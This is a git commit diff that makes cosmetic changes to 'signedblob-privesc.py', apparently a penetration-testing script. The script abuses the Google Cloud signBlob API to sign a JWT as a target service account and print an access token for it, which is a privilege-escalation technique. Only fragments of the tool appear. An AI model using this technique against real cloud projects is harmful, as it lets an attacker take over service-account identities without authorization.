diff options
| author | subh <subh@example.com> | 2026-02-13 11:18:00 +0530 |
|---|---|---|
| committer | subh <subh@example.com> | 2026-02-13 11:18:23 +0530 |
| commit | f95897d65f2830da9ea3384a0a04aca4c9daa3ae (patch) | |
| tree | 25c7bb75266bfc496c6a67e5102a623b5b09280b | |
| parent | ce41ef529112b1a9d1db56e67f29b7771bbb59e1 (diff) | |
Few design changes
| -rw-r--r-- | signedblob-privesc.py | 8 |
1 files changed, 3 insertions, 5 deletions
diff --git a/signedblob-privesc.py b/signedblob-privesc.py index b0c701b..d105261 100644 --- a/signedblob-privesc.py +++ b/signedblob-privesc.py @@ -34,10 +34,8 @@ def getTokenFromKeyFile(keyfile_path): return creds.token def executeSignBlob(bearer_token, target_sa): - print("[*] Constructing a JWT") unsigned_jwt = createJwt(target_sa) - print("[*] Getting a signed Blob") sign_url = f"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{target_sa}:signBlob" headers = { "Authorization": f"Bearer {bearer_token}", @@ -73,7 +71,7 @@ def main(): group.add_argument("-f", "--token-file", help="Path to file containing Access Token") group.add_argument("-k", "--key-file", help="Path to Service Account JSON key file") - parser.add_argument("-s", "--target", required=True, help="Target Service Account Email") + parser.add_argument("-s", "--target-account", required=True, help="Target Service Account Email") args = parser.parse_args() caller_token = None @@ -89,9 +87,9 @@ def main(): print("[!] Could not retrieve a valid caller token.") sys.exit(1) - result = executeSignBlob(caller_token, args.target) + result = executeSignBlob(caller_token, args.target_account) if result: - print("[*] Got Token:") + print(f"[*] Successfully retrieved Access Token for {args.target_account}") print(json.dumps(result, indent=2)) if __name__ == "__main__": |